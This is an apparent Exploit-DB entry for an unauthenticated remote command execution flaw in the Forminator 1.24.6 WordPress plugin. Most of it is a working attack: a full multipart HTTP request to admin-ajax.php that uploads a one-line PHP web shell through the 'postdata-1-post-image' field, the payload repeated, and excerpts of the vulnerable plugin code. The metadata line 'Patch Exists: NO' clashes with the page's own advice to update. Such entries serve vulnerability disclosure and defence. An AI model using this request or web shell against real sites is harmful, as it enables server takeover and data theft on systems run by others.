WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution

vendor:

Forminator

by:

Mehmet Kelepçe

9.8

CVSS

CRITICAL

Unauthenticated Remote Command Execution

CWE

Product Name: Forminator

Affected Version From: 1.24.6

Affected Version To: 1.24.6

Patch Exists: NO

Related CWE:

CPE: a:wpmudev:forminator:1.24.6

Metasploit:

Other Scripts:

Platforms Tested: Windows 11

2023

WordPress Plugin Forminator 1.24.6 – Unauthenticated Remote Command Execution

This exploit allows an attacker to execute remote commands without authentication in the WordPress Plugin Forminator version 1.24.6. The vulnerability is due to improper handling of user input in the 'postdata-1-post-image' parameter, which can be exploited to execute arbitrary PHP code.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of the Forminator plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
# Date: 2023-07-20
# Exploit Author: Mehmet Kelepçe
# Vendor Homepage: https://wpmudev.com/project/forminator-pro/
# Software Link: https://wordpress.org/plugins/forminator/
# Version: 1.24.6
# Tested on: PHP - Mysql - Apache2 - Windows 11

HTTP Request and vulnerable parameter:
-------------------------------------------------------------------------
POST /3/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 1756
sec-ch-ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryTmsFfkbegmAjomne
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/3/wordpress/2023/01/01/merhaba-dunya/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-time-1=1689794282;
wordpress_test_cookie=WP%20Cookie%20check; wp_lang=tr_TR
Connection: close

.
.
.
.
.

------WebKitFormBoundaryTmsFfkbegmAjomne
Content-Disposition: form-data; name="postdata-1-post-image";
filename="mehmet.php"
Content-Type: application/octet-stream

<?php
$_GET['function']($_GET['cmd']);
?>



Source Code:
wp-content/plugins/forminator/library/modules/custom-forms/front/front-render.php:
--------------------------------------------------------------------
        public function has_upload() {
$fields = $this->get_fields();

if ( ! empty( $fields ) ) {
foreach ( $fields as $field ) {
if ( 'upload' === $field['type'] || 'postdata' === $field['type'] ) {
return true;
}
}
}

return false;
}
Vulnerable parameter: postdata-1-post-image

and


Source code:
wp-content/plugins/forminator/library/fields/postdata.php:
-------------------------------------------------------------------
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty(
$_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid     = wp_check_filetype( $file_name );

if ( false === $valid['ext'] || ! in_array( $valid['ext'],
$this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
}
}
}

Vulnerable function: $image_field_name
-------------------------------------------------------------------------

Payload file: mehmet.php
<?php
$_GET['function']($_GET['cmd']);
?>
-------------------------------------------------------------------------